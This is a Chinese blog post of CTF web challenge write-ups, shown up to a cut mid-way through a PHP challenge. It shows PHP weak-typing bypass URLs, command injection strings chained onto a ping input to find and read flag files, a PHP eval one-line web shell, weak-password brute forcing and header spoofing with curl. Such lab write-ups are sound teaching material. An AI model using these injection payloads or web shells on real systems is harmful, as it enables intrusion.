<!DOCTYPE html>












  


<html class="theme-next muse use-motion" lang="cn">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2"/>
<meta name="theme-color" content="#222">






  
  
    
      
    
    
      
    
  <script src="//cdn.bootcss.com/pace/1.0.2/pace.min.js"></script>
  <link href="//cdn.bootcss.com/pace/1.0.2/themes/blue/pace-theme-flash.min.css" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />



















  
  
  
  

  
    
    
  

  
    
      
    

    
  

  

  
    
      
    

    
  

  
    
      
    

    
  

  
    
    
    <link href="//fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic,700,700italic|Monda:300,300italic,400,400italic,700,700italic|Lobster Two:300,300italic,400,400italic,700,700italic|PT Mono:300,300italic,400,400italic,700,700italic&subset=latin,latin-ext" rel="stylesheet" type="text/css">
  






  

<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" />

<link href="/css/main.css?v=6.4.0" rel="stylesheet" type="text/css" />


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=6.4.0">


  <link rel="mask-icon" href="/images/logo.svg?v=6.4.0" color="#222">









<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Muse',
    version: '6.4.0',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: false,
    fastclick: false,
    lazyload: false,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>


  




  <meta name="description" content="“我要的不是在寒冬中送我热咖啡的人，而是下雨天陪我一起吃冰的人，我要的不是守护我的人，而是和我一起冒险的人，我要的不是别人，是你” 我不喜欢永远，因为少了一个人 永远就不成立了 下辈子听起来还不错 像是一个浪漫的约定。  下周国赛… 我也不想学习，也不想刷题，可是，没女朋友你还不滚去学习？？？">
<meta name="keywords" content="CTF,赛宁">
<meta property="og:type" content="article">
<meta property="og:title" content="赛宁平台web题解(一)">
<meta property="og:url" content="https://lengjibo.github.io/赛宁平台web题解/index.html">
<meta property="og:site_name" content="冷逸的个人博客|开往安河桥北~">
<meta property="og:description" content="“我要的不是在寒冬中送我热咖啡的人，而是下雨天陪我一起吃冰的人，我要的不是守护我的人，而是和我一起冒险的人，我要的不是别人，是你” 我不喜欢永远，因为少了一个人 永远就不成立了 下辈子听起来还不错 像是一个浪漫的约定。  下周国赛… 我也不想学习，也不想刷题，可是，没女朋友你还不滚去学习？？？">
<meta property="og:locale" content="cn">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g211f8ws96j30hn0frwfi.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g211syrba8j30og0ffq4a.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g211v4dns6j30fi063q2x.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g212clua29j30qp0ccjs7.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g2133jvcpnj31hc0g0wgu.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g21349otguj317i0eftaf.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g2137d2y0xj30ox0ejq42.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g213auz38hj30k10admxv.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g213dzr0nsj30r40ewmz5.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g218gxmespj30ov0a3aaz.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g21y0izfnej30oq0a4q3f.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g21zjrkokxj316s0lkacv.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g21zpdkp5yj30rl094t9s.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g2206o3ebmj30sc0dtmy0.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g220abmxrsj30uw0jkjsw.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g220p0pe9rj31550ezjuy.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g23eqnid0kj30md0d2jvf.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g23f460cphj30lm0b70sp.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g23f61h62rj314g0ff76t.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g23f8onbjbj31420e9ju5.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g23fkf5v3lj312t0ertbh.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g23g3zrha6j30qz0h6wfu.jpg">
<meta property="og:updated_time" content="2019-04-15T10:58:36.000Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="赛宁平台web题解(一)">
<meta name="twitter:description" content="“我要的不是在寒冬中送我热咖啡的人，而是下雨天陪我一起吃冰的人，我要的不是守护我的人，而是和我一起冒险的人，我要的不是别人，是你” 我不喜欢永远，因为少了一个人 永远就不成立了 下辈子听起来还不错 像是一个浪漫的约定。  下周国赛… 我也不想学习，也不想刷题，可是，没女朋友你还不滚去学习？？？">
<meta name="twitter:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g211f8ws96j30hn0frwfi.jpg">



  <link rel="alternate" href="/../../.deploy_git/atom.xml" title="冷逸的个人博客|开往安河桥北~" type="application/atom+xml" />




  <link rel="canonical" href="https://lengjibo.github.io/赛宁平台web题解/"/>



<script type="text/javascript" id="page.configurations">
  CONFIG.page = {
    sidebar: "",
  };
</script>

  <title>赛宁平台web题解(一) | 冷逸的个人博客|开往安河桥北~</title>
  









  <noscript>
  <style type="text/css">
    .use-motion .motion-element,
    .use-motion .brand,
    .use-motion .menu-item,
    .sidebar-inner,
    .use-motion .post-block,
    .use-motion .pagination,
    .use-motion .comments,
    .use-motion .post-header,
    .use-motion .post-body,
    .use-motion .collection-title { opacity: initial; }

    .use-motion .logo,
    .use-motion .site-title,
    .use-motion .site-subtitle {
      opacity: initial;
      top: initial;
    }

    .use-motion {
      .logo-line-before i { left: initial; }
      .logo-line-after i { right: initial; }
    }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="cn">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">冷逸的个人博客|开往安河桥北~</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
    
  </div>

  <div class="site-nav-toggle">
    <button aria-label="Toggle navigation bar">
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>



<nav class="site-nav">
  
    <ul id="menu" class="menu">
      
        
        
        
          
          <li class="menu-item menu-item-home">
    <a href="/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-home"></i> <br />Startseite</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-about">
    <a href="/about/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-user"></i> <br />Über</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-tags">
    <a href="/tags/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-tags"></i> <br />Tags</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-categories">
    <a href="/categories/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-th"></i> <br />Kategorien</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-archives">
    <a href="/archives/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />Archiv</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-book">
    <a href="/book/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-book"></i> <br />book</a>
  </li>

      
      
    </ul>
  

  
    

  

  
</nav>



  



</div>
    </header>

    


    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://lengjibo.github.io/赛宁平台web题解/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="冷逸">
      <meta itemprop="description" content="做一个温柔的人...">
      <meta itemprop="image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="冷逸的个人博客|开往安河桥北~">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">赛宁平台web题解(一)
              
            
          </h1>
        

        <div class="post-meta">
        
          <span class="post-time">

            
            
            

            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Veröffentlicht am</span>
              

              
                
              

              <time title="Post created: 2019-04-13 15:04:50" itemprop="dateCreated datePublished" datetime="2019-04-13T15:04:50+08:00">2019-04-13</time>
            

            
              

              
                
                <span class="post-meta-divider">|</span>
                

                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Edited on</span>
                
                <time title="Updated at: 2019-04-15 18:58:36" itemprop="dateModified" datetime="2019-04-15T18:58:36+08:00">2019-04-15</time>
              
            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">in</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/CTF/" itemprop="url" rel="index"><span itemprop="name">CTF</span></a></span>

                
                
              
            </span>
          

          
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="post-meta-item-icon"
            >
            <i class="fa fa-eye"></i>
             Views:  
            <span class="busuanzi-value" id="busuanzi_value_page_pv" ></span>
            </span>
          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <p>“我要的不是在寒冬中送我热咖啡的人，而是下雨天陪我一起吃冰的人，我要的不是守护我的人，而是和我一起冒险的人，我要的不是别人，是你”</p>
<p>我不喜欢永远，因为少了一个人 永远就不成立了 下辈子听起来还不错 像是一个浪漫的约定。</p>
<hr>
<p>下周国赛…</p>
<p>我也不想学习，也不想刷题，可是，没女朋友你还不滚去学习？？？</p>
<a id="more"></a>
<h2 id="初级"><a href="#初级" class="headerlink" title="初级"></a>初级</h2><h3 id="simple-php"><a href="#simple-php" class="headerlink" title="simple_php"></a>simple_php</h3><p>打开题目，显示代码如下：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">﻿<span class="meta">&lt;?php</span></span><br><span class="line">show_source(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">"config.php"</span>);</span><br><span class="line">$a=@$_GET[<span class="string">'a'</span>];</span><br><span class="line">$b=@$_GET[<span class="string">'b'</span>];</span><br><span class="line"><span class="keyword">if</span>($a==<span class="number">0</span> <span class="keyword">and</span> $a)&#123;</span><br><span class="line">    <span class="keyword">echo</span> $flag1;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(is_numeric($b))&#123;</span><br><span class="line">    <span class="keyword">exit</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>($b&gt;<span class="number">1234</span>)&#123;</span><br><span class="line">    <span class="keyword">echo</span> $flag2;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>思路很清晰，要求a==0且a不为false，b不为数字且b&gt;1234</p>
<p>在php中存在弱类型比较问题。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">==: 先将字符串类型转化成相同，再比较</span><br><span class="line">===: 先将字符串类型转化成相同，再比较</span><br></pre></td></tr></table></figure>
<p>字符串和数字比较使用==时,字符串会先转换为数字类型再比较</p>
<p>如：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">var_dump(<span class="string">'a'</span> == <span class="number">0</span>);<span class="comment">//true，这里'a'会被转换数字0</span></span><br><span class="line">var_dump(<span class="string">'123a'</span> == <span class="number">123</span>);<span class="comment">//true，这里'123a'会被转换为123</span></span><br></pre></td></tr></table></figure>
<p>所以我们可以使用a=a来绕过前半段，使用1235a绕过后半段，所以最终的payload：</p>
<blockquote>
<p><a href="http://218.2.197.241:25266/?a=a&amp;b=1235a" target="_blank" rel="noopener">http://218.2.197.241:25266/?a=a&amp;b=1235a</a></p>
</blockquote>
<p>当然，is_numeric()函数也存在漏洞，即不能处理数组。</p>
<p>也可构造如下payload:</p>
<blockquote>
<p><a href="http://218.2.197.241:25266/?a=a&amp;b[]=" target="_blank" rel="noopener">http://218.2.197.241:25266/?a=a&amp;b[]=</a></p>
</blockquote>
<p>得到flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g211f8ws96j30hn0frwfi.jpg" alt=""></p>
<h3 id="command-execution"><a href="#command-execution" class="headerlink" title="command_execution"></a>command_execution</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。</span><br><span class="line"></span><br><span class="line">提示： 命令执行</span><br></pre></td></tr></table></figure>
<p>打开后简单查看了功能，一个简单的ping功能，没有任何过滤。</p>
<p>关于管道符</p>
<p>command1 &amp;&amp; command2   先执行command1后执行command2<br>command1 | command2     只执行command2<br>command1 &amp; command2    先执行command2后执行command1</p>
<p>查找flag：127.0.0.1 | find / -name ‘<em>flag</em>‘</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g211syrba8j30og0ffq4a.jpg" alt=""></p>
<p>打开flag：127.0.0.1 | cat /home/flag.txt</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g211v4dns6j30fi063q2x.jpg" alt=""></p>
<h3 id="webshell"><a href="#webshell" class="headerlink" title="webshell"></a>webshell</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。</span><br><span class="line"></span><br><span class="line">提示： php一句话</span><br></pre></td></tr></table></figure>
<p>打开页面上显示：&lt;?php @eval($_POST[‘shell’]);?&gt; </p>
<p>蚁剑连接，发现flag</p>
<h3 id="weak-auth"><a href="#weak-auth" class="headerlink" title="weak_auth"></a>weak_auth</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：小宁写了一个登陆验证页面，随手就设了一个密码。</span><br><span class="line"></span><br><span class="line">提示： 弱口令</span><br></pre></td></tr></table></figure>
<p>burpsuite爆破，当密码为123456时得到flag</p>
<h3 id="xff-referer"><a href="#xff-referer" class="headerlink" title="xff_referer"></a>xff_referer</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：X老师告诉小宁其实xff和referer是可以伪造的。</span><br><span class="line"></span><br><span class="line">提示： xff,referer</span><br></pre></td></tr></table></figure>
<p>要求ip为：123.123.123.123，且来自<a href="https://www.google.com" target="_blank" rel="noopener">https://www.google.com</a></p>
<p>一条curl命令搞定：</p>
<blockquote>
<p>curl -X GET -H ‘X-Forwarded-For: 123.123.123.123’ -H ‘Referer: <a href="https://www.google.com&#39;" target="_blank" rel="noopener">https://www.google.com&#39;</a> -i ‘题目地址’</p>
</blockquote>
<p>得到flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g212clua29j30qp0ccjs7.jpg" alt=""></p>
<h3 id="simple-js"><a href="#simple-js" class="headerlink" title="simple_js"></a>simple_js</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：小宁发现了一个网页，但却一直输不对密码。</span><br><span class="line"></span><br><span class="line">提示： javascript,flag格式为Cyberpeace&#123;&#125;</span><br></pre></td></tr></table></figure>
<p>查看源码，找到js代码：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">dechiffre</span>(<span class="params">pass_enc</span>)</span>&#123;</span><br><span class="line">      <span class="keyword">var</span> pass = <span class="string">"70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"</span>;</span><br><span class="line">      <span class="keyword">var</span> tab  = pass_enc.split(<span class="string">','</span>);</span><br><span class="line">              <span class="keyword">var</span> tab2 = pass.split(<span class="string">','</span>);<span class="keyword">var</span> i,j,k,l=<span class="number">0</span>,m,n,o,p = <span class="string">""</span>;i = <span class="number">0</span>;j = tab.length;</span><br><span class="line">                      k = j + (l) + (n=<span class="number">0</span>);</span><br><span class="line">                      n = tab2.length;</span><br><span class="line">                      <span class="keyword">for</span>(i = (o=<span class="number">0</span>); i &lt; (k = j = n); i++ )&#123;o = tab[i-l];p += <span class="built_in">String</span>.fromCharCode((o = tab2[i]));</span><br><span class="line">                              <span class="keyword">if</span>(i == <span class="number">5</span>)<span class="keyword">break</span>;&#125;</span><br><span class="line">                      <span class="keyword">for</span>(i = (o=<span class="number">0</span>); i &lt; (k = j = n); i++ )&#123;</span><br><span class="line">                      o = tab[i-l];</span><br><span class="line">                              <span class="keyword">if</span>(i &gt; <span class="number">5</span> &amp;&amp; i &lt; k<span class="number">-1</span>)</span><br><span class="line">                                      p += <span class="built_in">String</span>.fromCharCode((o = tab2[i]));</span><br><span class="line">                      &#125;</span><br><span class="line">      p += <span class="built_in">String</span>.fromCharCode(tab2[<span class="number">17</span>]);</span><br><span class="line">      pass = p;<span class="keyword">return</span> pass;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">String</span>[<span class="string">"fromCharCode"</span>](dechiffre(<span class="string">"\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"</span>));</span><br><span class="line"></span><br><span class="line">  h = <span class="built_in">window</span>.prompt(<span class="string">'Enter password'</span>);</span><br><span class="line">  alert( dechiffre(h) );</span><br></pre></td></tr></table></figure>
<p>其中pass为假密码,可以看到无论输入什么都会返回这个假密码,真正的密码在:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">String[&quot;fromCharCode&quot;](dechiffre(&quot;\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30&quot;));</span><br></pre></td></tr></table></figure>
<p>用python处理一下:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">s=<span class="string">"\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"</span></span><br><span class="line"><span class="keyword">print</span> s</span><br></pre></td></tr></table></figure>
<p>得到55,56,54,79,115,69,114,116,107,49,50</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">s=[55,56,54,79,115,69,114,116,107,49,50]</span><br><span class="line">for i in s:</span><br><span class="line">  print(chr(i),end=&apos;&apos;)</span><br></pre></td></tr></table></figure>
<p>得到786OsErtk12</p>
<h3 id="disabled-button"><a href="#disabled-button" class="headerlink" title="disabled_button"></a>disabled_button</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">题目描述：X老师今天上课讲了前端知识，然后给了大家一个不能按的按钮，小宁惊奇地发现这个按钮按不下去，到底怎么才能按下去呢？</span><br></pre></td></tr></table></figure>
<p>“右键”–&gt;”审查元素”–&gt;删除”disabled=”””</p>
<p>点击按钮，得到flag</p>
<h3 id="cookie"><a href="#cookie" class="headerlink" title="cookie"></a>cookie</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：X老师告诉小宁他在cookie里放了些东西，小宁疑惑地想:‘这是夹心饼干的意思吗？’</span><br><span class="line"></span><br><span class="line">提示： cookie</span><br></pre></td></tr></table></figure>
<p>抓包，查看cookie字段，发现：</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g2133jvcpnj31hc0g0wgu.jpg" alt=""></p>
<p>访问，得到flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g21349otguj317i0eftaf.jpg" alt=""></p>
<h3 id="backup"><a href="#backup" class="headerlink" title="backup"></a>backup</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：X老师忘记删除备份文件，他派小宁同学去把备份文件找出来,一起来帮小宁同学吧！</span><br><span class="line"></span><br><span class="line">提示： 备份文件</span><br></pre></td></tr></table></figure>
<p>打开页面，提示:你知道index.php的备份文件名吗？</p>
<p>盲测：index.php.bak</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g2137d2y0xj30ox0ejq42.jpg" alt=""></p>
<p>打开后获得flag</p>
<h3 id="robots"><a href="#robots" class="headerlink" title="robots"></a>robots</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：X老师上课讲了Robots协议，小宁同学却上课打了瞌睡，赶紧来教教小宁Robots协议是什么吧。</span><br><span class="line"></span><br><span class="line">提示： robots.txt</span><br></pre></td></tr></table></figure>
<p>访问robots.txt文件</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g213auz38hj30k10admxv.jpg" alt=""></p>
<p>访问文件f1ag_1s_h3re.php，得到flag</p>
<h3 id="get-post"><a href="#get-post" class="headerlink" title="get_post"></a>get_post</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：X老师告诉小宁同学HTTP通常使用两种请求方法，你知道是哪两种吗？</span><br><span class="line"></span><br><span class="line">提示： http请求方法</span><br></pre></td></tr></table></figure>
<p>打开后提示：</p>
<p>请用GET方式提交一个名为a,值为1的变量<br>请再以POST方式随便提交一个名为b,值为2的变量</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g213dzr0nsj30r40ewmz5.jpg" alt=""></p>
<h3 id="view-source"><a href="#view-source" class="headerlink" title="view_source"></a>view_source</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：X老师让小宁同学查看一个网页的源代码，但小宁同学发现鼠标右键好像不管用了。</span><br><span class="line"></span><br><span class="line">提示： 源代码</span><br></pre></td></tr></table></figure>
<p>打开题目后，按照提示查看源代码</p>
<p>发现不能右键，使用view-source:查看</p>
<p>发现flag</p>
<h2 id="中级"><a href="#中级" class="headerlink" title="中级"></a>中级</h2><h3 id="PHP2"><a href="#PHP2" class="headerlink" title="PHP2"></a>PHP2</h3><p>打开后提示：</p>
<p>Can you anthenticate to this website? </p>
<p>扫描目录发现index.phps</p>
<p>内容如下：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">not allowed!</span><br><span class="line"></span><br><span class="line"><span class="string">"); exit(); &#125; $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "</span>admin<span class="string">") &#123; echo "</span></span><br><span class="line"></span><br><span class="line">Access granted!</span><br><span class="line"><span class="string">"; echo "</span></span><br><span class="line"></span><br><span class="line">Key: xxxxxxx</span><br><span class="line"><span class="string">"; &#125; ?&gt;</span></span><br></pre></td></tr></table></figure>
<p>代码逻辑很清晰，get方式获取id并进行url解码后id=admin，即可获得flag，</p>
<p>因为浏览器会自动进行一次解码，所以我们需要进行两次url编码admin，皆可获得flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g218gxmespj30ov0a3aaz.jpg" alt=""></p>
<h3 id="PHP"><a href="#PHP" class="headerlink" title="PHP"></a>PHP</h3><p>打开页面一片空白，扫描发现index.php~</p>
<p>代码如下：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$a=<span class="number">0</span>;</span><br><span class="line">$b=<span class="number">0</span>;</span><br><span class="line">$c=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'aaa'</span>]))</span><br><span class="line">&#123;</span><br><span class="line">        $aaa = $_GET[<span class="string">'aaa'</span>];</span><br><span class="line">        $aaa==<span class="string">"1"</span>?<span class="keyword">die</span>(<span class="string">"Emmm..."</span>):<span class="keyword">NULL</span>;</span><br><span class="line">        <span class="keyword">switch</span> ($aaa)</span><br><span class="line">        &#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">                $a=<span class="number">1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line">$bbb=(<span class="keyword">array</span>)json_decode(@$_GET[<span class="string">'bbb'</span>]);</span><br><span class="line"><span class="keyword">if</span>(is_array($bbb))&#123;</span><br><span class="line">    is_numeric(@$bbb[<span 